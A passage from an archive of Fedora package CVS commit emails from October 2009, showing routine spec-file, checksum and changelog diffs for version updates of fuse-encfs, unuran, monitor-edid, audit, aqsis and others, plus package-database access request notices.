retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- fuse-encfs.spec	30 Dec 2008 11:58:12 -0000	1.24
+++ fuse-encfs.spec	17 Oct 2009 16:14:42 -0000	1.25
@@ -1,18 +1,19 @@
 Name:		fuse-encfs
 Version:	1.5
-Release:	3%{?dist}
+Release:	10%{?dist}
 Summary:	Encrypted pass-thru filesystem in userspace
 License:	GPLv3+
 Group:		System Environment/Kernel
 Url:		http://www.arg0.net/encfs
 Source0:	http://encfs.googlecode.com/files/encfs-%{version}-2.tgz
 Source1:	http://encfs.googlecode.com/files/encfs-%{version}-2.tgz.asc
+Patch0:		encfs-1.5-const.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	fuse >= 2.6
-Provides:	encfs = %{version}
+Provides:	encfs = %{version}-%{release}
 BuildRequires:	rlog-devel >= 1.3
 BuildRequires:	openssl-devel
-BuildRequires:	boost-devel
+BuildRequires:	boost-devel >= 1.34
 BuildRequires:	fuse-devel >= 2.6
 BuildRequires:	gettext
 
@@ -25,6 +26,7 @@ it does not use NFS.
 
 %prep
 %setup -q -n encfs-%{version}
+%patch0 -p1 -b .const
 
 %build
 %configure --disable-static --with-boost-libdir=%{_libdir}
@@ -52,6 +54,27 @@ it does not use NFS.
 %{_mandir}/man1/*
 
 %changelog
+* Sat Oct 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-10
+- Added version in Requires for boost-devel
+
+* Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 1.5-9
+- rebuilt with new fuse
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.5-8
+- rebuilt with new openssl
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Mar 03 2009 Caol?n McNamara <caolanm at redhat.com> - 1.5-6
+- constify ret of strchr(const char*)
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Fri Jan 16 2009 Tomas Mraz <tmraz at redhat.com> 1.5-4
+- rebuild with new openssl
+
 * Tue Dec 30 2008 Peter Lemenkov <lemenkov at gmail.com> 1.5-3
 - Fixed URL
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-encfs/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	26 Oct 2008 15:38:16 -0000	1.2
+++ import.log	17 Oct 2009 16:14:42 -0000	1.3
@@ -1,2 +1,3 @@
 fuse-encfs-1_4_2-4_fc9:HEAD:fuse-encfs-1.4.2-4.fc9.src.rpm:1217577502
 fuse-encfs-1_5-1_fc9:HEAD:fuse-encfs-1.5-1.fc9.src.rpm:1225035390
+fuse-encfs-1_5-10_fc11:F-10:fuse-encfs-1.5-10.fc11.src.rpm:1255796042



From nbecker at fedoraproject.org  Sat Oct 17 16:19:01 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 16:19:01 +0000 (UTC)
Subject: rpms/unuran/F-11 .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 unuran.spec, 1.13, 1.14
Message-ID: <20091017161901.E283411C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/unuran/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17537

Modified Files:
	.cvsignore sources unuran.spec 
Log Message:
update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	9 Jan 2009 12:50:13 -0000	1.10
+++ .cvsignore	17 Oct 2009 16:19:01 -0000	1.11
@@ -1 +1 @@
-unuran-1.3.1.tar.gz
+unuran-1.4.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	9 Jan 2009 12:50:13 -0000	1.10
+++ sources	17 Oct 2009 16:19:01 -0000	1.11
@@ -1 +1 @@
-ffe7f2028775fd807fb4c04a51ed59c4  unuran-1.3.1.tar.gz
+b0c23aed8fd51a6f8375f37f57d40f15  unuran-1.4.1.tar.gz


Index: unuran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-11/unuran.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- unuran.spec	25 Feb 2009 23:14:52 -0000	1.13
+++ unuran.spec	17 Oct 2009 16:19:01 -0000	1.14
@@ -1,6 +1,6 @@
 Name:		unuran
-Version:	1.3.1
-Release: 	2%{?dist}
+Version:	1.4.1
+Release: 	1%{?dist}
 Summary:	Universal Non-Uniform Random number generator
 
 Group:		System Environment/Libraries
@@ -96,6 +96,12 @@ fi
 SEED=2742664 make check
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 1.4.1-1
+- Update to 1.4.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Sat Oct 17 16:28:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:28:47 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchbugzilla
Message-ID: <20091017162847.9FCF810F85F@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on exaile (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:28:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:28:49 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchcommits
Message-ID: <20091017162849.8A24610F882@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on exaile (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:28:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:28:52 +0000
Subject: [pkgdb] exaile: dmaphy has requested commit
Message-ID: <20091017162852.539D410F88B@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on exaile (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:10 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchbugzilla
Message-ID: <20091017162910.CBBEF10F87F@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on exaile (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:12 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchcommits
Message-ID: <20091017162912.DA11A10F88B@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on exaile (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:14 +0000
Subject: [pkgdb] exaile: dmaphy has requested commit
Message-ID: <20091017162915.1ACFE10F8A3@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on exaile (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:24 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchbugzilla
Message-ID: <20091017162924.C572C10F85F@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on exaile (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:27 +0000
Subject: [pkgdb] exaile: dmaphy has requested watchcommits
Message-ID: <20091017162927.215C310F889@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on exaile (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Sat Oct 17 16:29:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 16:29:29 +0000
Subject: [pkgdb] exaile: dmaphy has requested commit
Message-ID: <20091017162929.8D85910F8A8@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on exaile (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/exaile



From nbecker at fedoraproject.org  Sat Oct 17 16:32:55 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 16:32:55 +0000 (UTC)
Subject: rpms/unuran/F-10 .cvsignore, 1.8, 1.9 sources, 1.8, 1.9 unuran.spec,
	1.10, 1.11
Message-ID: <20091017163255.8560F11C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/unuran/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20470

Modified Files:
	.cvsignore sources unuran.spec 
Log Message:
update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-10/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Jan 2009 13:43:15 -0000	1.8
+++ .cvsignore	17 Oct 2009 16:32:54 -0000	1.9
@@ -1 +1 @@
-unuran-1.3.1.tar.gz
+unuran-1.4.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-10/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	9 Jan 2009 13:43:15 -0000	1.8
+++ sources	17 Oct 2009 16:32:54 -0000	1.9
@@ -1 +1 @@
-ffe7f2028775fd807fb4c04a51ed59c4  unuran-1.3.1.tar.gz
+b0c23aed8fd51a6f8375f37f57d40f15  unuran-1.4.1.tar.gz


Index: unuran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unuran/F-10/unuran.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- unuran.spec	9 Jan 2009 14:27:07 -0000	1.10
+++ unuran.spec	17 Oct 2009 16:32:54 -0000	1.11
@@ -1,5 +1,5 @@
 Name:		unuran
-Version:	1.3.1
+Version:	1.4.1
 Release: 	1%{?dist}
 Summary:	Universal Non-Uniform Random number generator
 
@@ -96,6 +96,15 @@ fi
 SEED=2742664 make check
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 1.4.1-1
+- Update to 1.4.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Fri Jan  9 2009 Neal Becker <ndbecker2 at gmail.com> - 1.3.1-1
 - Update to 1.3.1 final
 



From remi at fedoraproject.org  Sat Oct 17 16:36:03 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat, 17 Oct 2009 16:36:03 +0000 (UTC)
Subject: rpms/monitor-edid/devel .cvsignore, 1.3, 1.4 monitor-edid.spec, 1.4,
	1.5 sources, 1.3, 1.4
Message-ID: <20091017163603.6040911C00EC@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22230

Modified Files:
	.cvsignore monitor-edid.spec sources 
Log Message:
update to 2.4


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Apr 2008 16:52:32 -0000	1.3
+++ .cvsignore	17 Oct 2009 16:36:01 -0000	1.4
@@ -1 +1 @@
-monitor-edid-2.0.tar.bz2
+monitor-edid-2.4.tar.bz2


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/monitor-edid.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- monitor-edid.spec	25 Jul 2009 14:58:45 -0000	1.4
+++ monitor-edid.spec	17 Oct 2009 16:36:02 -0000	1.5
@@ -6,8 +6,8 @@ License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        2.0
-Release:        3%{?dist}
+Version:        2.4
+Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
@@ -29,8 +29,6 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-cp x86emu/LICENSE LICENSE.x86emu
-
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
@@ -48,12 +46,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sat Oct 17 2009 Remi Collet <Fedora at famillecollet.com> 2.4-1
+- new version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Apr 2008 16:52:32 -0000	1.3
+++ sources	17 Oct 2009 16:36:02 -0000	1.4
@@ -1 +1 @@
-78b62449b1efdf0f4939615cb49ff35f  monitor-edid-2.0.tar.bz2
+aad83368248b58736c3699cc7d9caaf1  monitor-edid-2.4.tar.bz2



From remi at fedoraproject.org  Sat Oct 17 16:41:06 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat, 17 Oct 2009 16:41:06 +0000 (UTC)
Subject: rpms/monitor-edid/F-12 monitor-edid.spec,1.4,1.5 sources,1.3,1.4
Message-ID: <20091017164106.7EEE411C00EC@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23309

Modified Files:
	monitor-edid.spec sources 
Log Message:
update to 2.4


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-12/monitor-edid.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- monitor-edid.spec	25 Jul 2009 14:58:45 -0000	1.4
+++ monitor-edid.spec	17 Oct 2009 16:41:06 -0000	1.5
@@ -6,8 +6,8 @@ License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        2.0
-Release:        3%{?dist}
+Version:        2.4
+Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
@@ -29,8 +29,6 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-cp x86emu/LICENSE LICENSE.x86emu
-
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
@@ -48,12 +46,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sat Oct 17 2009 Remi Collet <Fedora at famillecollet.com> 2.4-1
+- new version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Apr 2008 16:52:32 -0000	1.3
+++ sources	17 Oct 2009 16:41:06 -0000	1.4
@@ -1 +1 @@
-78b62449b1efdf0f4939615cb49ff35f  monitor-edid-2.0.tar.bz2
+aad83368248b58736c3699cc7d9caaf1  monitor-edid-2.4.tar.bz2



From remi at fedoraproject.org  Sat Oct 17 16:47:05 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat, 17 Oct 2009 16:47:05 +0000 (UTC)
Subject: rpms/monitor-edid/F-11 monitor-edid.spec,1.3,1.4 sources,1.3,1.4
Message-ID: <20091017164705.EAC4F11C00EC@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24527

Modified Files:
	monitor-edid.spec sources 
Log Message:
update to 2.4


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-11/monitor-edid.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- monitor-edid.spec	26 Feb 2009 02:24:18 -0000	1.3
+++ monitor-edid.spec	17 Oct 2009 16:47:03 -0000	1.4
@@ -6,8 +6,8 @@ License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        2.0
-Release:        2%{?dist}
+Version:        2.4
+Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
@@ -29,8 +29,6 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-cp x86emu/LICENSE LICENSE.x86emu
-
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
@@ -48,12 +46,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sat Oct 17 2009 Remi Collet <Fedora at famillecollet.com> 2.4-1
+- new version
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Apr 2008 16:52:32 -0000	1.3
+++ sources	17 Oct 2009 16:47:04 -0000	1.4
@@ -1 +1 @@
-78b62449b1efdf0f4939615cb49ff35f  monitor-edid-2.0.tar.bz2
+aad83368248b58736c3699cc7d9caaf1  monitor-edid-2.4.tar.bz2



From remi at fedoraproject.org  Sat Oct 17 16:56:18 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat, 17 Oct 2009 16:56:18 +0000 (UTC)
Subject: rpms/monitor-edid/F-10 monitor-edid.spec,1.2,1.3 sources,1.3,1.4
Message-ID: <20091017165618.3301F11C00EC@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27454

Modified Files:
	monitor-edid.spec sources 
Log Message:
update to 2.4


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-10/monitor-edid.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- monitor-edid.spec	10 Apr 2008 16:52:32 -0000	1.2
+++ monitor-edid.spec	17 Oct 2009 16:56:16 -0000	1.3
@@ -6,7 +6,7 @@ License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        2.0
+Version:        2.4
 Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
@@ -29,8 +29,6 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-cp x86emu/LICENSE LICENSE.x86emu
-
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
@@ -48,12 +46,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sat Oct 17 2009 Remi Collet <Fedora at famillecollet.com> 2.4-1
+- new version
+
 * Tue Apr 08 2008 Remi Collet <Fedora at famillecollet.com> 2.0-1
 - new version
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Apr 2008 16:52:32 -0000	1.3
+++ sources	17 Oct 2009 16:56:16 -0000	1.4
@@ -1 +1 @@
-78b62449b1efdf0f4939615cb49ff35f  monitor-edid-2.0.tar.bz2
+aad83368248b58736c3699cc7d9caaf1  monitor-edid-2.4.tar.bz2



From epienbro at fedoraproject.org  Sat Oct 17 17:00:30 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Sat, 17 Oct 2009 17:00:30 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel .cvsignore,1.13,1.14 sources,1.13,1.14
Message-ID: <20091017170030.1C12211C0269@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28793

Modified Files:
	.cvsignore sources 
Log Message:
Updated sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	6 Oct 2009 09:06:49 -0000	1.13
+++ .cvsignore	17 Oct 2009 17:00:28 -0000	1.14
@@ -1 +1 @@
-gtk+-2.18.2.tar.bz2
+gtk+-2.18.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	6 Oct 2009 09:06:49 -0000	1.13
+++ sources	17 Oct 2009 17:00:29 -0000	1.14
@@ -1 +1 @@
-9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2
+369e173600efc272131b53b1902679e8  gtk+-2.18.3.tar.bz2



From sgrubb at fedoraproject.org  Sat Oct 17 17:02:13 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Sat, 17 Oct 2009 17:02:13 +0000 (UTC)
Subject: rpms/audit/F-11 .cvsignore, 1.102, 1.103 audit.spec, 1.213,
	1.214 sources, 1.127, 1.128
Message-ID: <20091017170213.A58EC11C00EC@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29295

Modified Files:
	.cvsignore audit.spec sources 
Log Message:
* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 1.7.16-1
- New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-11/.cvsignore,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- .cvsignore	29 Sep 2009 22:00:04 -0000	1.102
+++ .cvsignore	17 Oct 2009 17:02:12 -0000	1.103
@@ -99,3 +99,4 @@ audit-1.7.10.tar.gz
 audit-1.7.11.tar.gz
 audit-1.7.12.tar.gz
 audit-1.7.14.tar.gz
+audit-1.7.16.tar.gz


Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-11/audit.spec,v
retrieving revision 1.213
retrieving revision 1.214
diff -u -p -r1.213 -r1.214
--- audit.spec	29 Sep 2009 22:08:52 -0000	1.213
+++ audit.spec	17 Oct 2009 17:02:12 -0000	1.214
@@ -1,7 +1,7 @@
-%define audit_version 1.7.14
+%define audit_version 1.7.16
 %define audit_release 1%{?dist}
 %define sca_version 0.4.10
-%define sca_release 1
+%define sca_release 2
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Summary: User space tools for 2.6 kernel auditing
@@ -259,6 +259,9 @@ fi
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-audit-server
 
 %changelog
+* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 1.7.16-1
+- New upstream release
+
 * Tue Sep 29 2009 Steve Grubb <sgrubb at redhat.com> 1.7.14-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-11/sources,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- sources	29 Sep 2009 22:00:04 -0000	1.127
+++ sources	17 Oct 2009 17:02:13 -0000	1.128
@@ -1 +1 @@
-7a6810f0c7e7cf5c3bfa388cb09f8fbb  audit-1.7.14.tar.gz
+e61c64df97baca30f437e06a5abbccf8  audit-1.7.16.tar.gz



From kwizart at fedoraproject.org  Sat Oct 17 17:51:44 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sat, 17 Oct 2009 17:51:44 +0000 (UTC)
Subject: rpms/aqsis/devel .cvsignore, 1.4, 1.5 aqsis.spec, 1.15,
	1.16 import.log, 1.2, 1.3 sources, 1.4,
	1.5 aqsis-1.4.2-gcc44.patch, 1.1,
	NONE aqsis-trunk-piqsl_libtiff.patch, 1.1, NONE
Message-ID: <20091017175144.BBD0511C00EC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11915/devel

Modified Files:
	.cvsignore aqsis.spec import.log sources 
Removed Files:
	aqsis-1.4.2-gcc44.patch aqsis-trunk-piqsl_libtiff.patch 
Log Message:
Update to 1.6.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	3 Feb 2009 13:45:48 -0000	1.4
+++ .cvsignore	17 Oct 2009 17:51:42 -0000	1.5
@@ -1 +1 @@
-aqsis-1.4.2.tar.gz
+aqsis-1.6.0.tar.gz


Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/aqsis.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- aqsis.spec	24 Jul 2009 17:01:29 -0000	1.15
+++ aqsis.spec	17 Oct 2009 17:51:43 -0000	1.16
@@ -1,14 +1,12 @@
 Name:		aqsis
-Version:	1.4.2
-Release:	6%{?dist}
+Version:	1.6.0
+Release:	1%{?dist}
 Summary:	Open source RenderMan-compliant 3D rendering solution
 Group:		Applications/Multimedia
 
 License:	GPLv2+ and LGPLv2+
 URL:		http://www.aqsis.org
 Source0:	http://downloads.sourceforge.net/aqsis/aqsis-%{version}.tar.gz
-Patch0:         aqsis-trunk-piqsl_libtiff.patch
-Patch1:         aqsis-1.4.2-gcc44.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
@@ -62,6 +60,7 @@ The %{name}-libs package contains shared
 Requires:	%{name} = %{version}-%{release}
 Summary:	Example content for Aqsis
 Group:		Applications/Multimedia
+BuildArch:      noarch
 
 %description data
 Aqsis is a cross-platform photorealistic 3D rendering solution, based 
@@ -88,8 +87,7 @@ third-party applications.
 
 %prep
 %setup -q
-%patch0 -p1 -b .piqsl_tiff
-%patch1 -p1 -b .gcc44
+
 
 %build
 ## Do not Enable pdiff=yes Because it will conflict with Printdiff :
@@ -152,7 +150,7 @@ desktop-file-install --vendor "" --delet
 
 # Fix the scripts directory
 mv $RPM_BUILD_ROOT%{_datadir}/%{name}/script/ \
- $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
+  $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
 
 
 %clean
@@ -182,7 +180,7 @@ fi || :
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING README ReleaseNotes
+%doc AUTHORS COPYING README
 %{_bindir}/eqsl
 %{_bindir}/piqsl
 # Do not use the name pdiff for PerceptualDiff
@@ -193,8 +191,8 @@ fi || :
 %{_datadir}/applications/aqsltell.desktop
 %{_datadir}/applications/eqsl.desktop
 %{_datadir}/applications/piqsl.desktop
-%{_datadir}/pixmaps/aqsis-doc.png
 %{_datadir}/pixmaps/aqsis.png
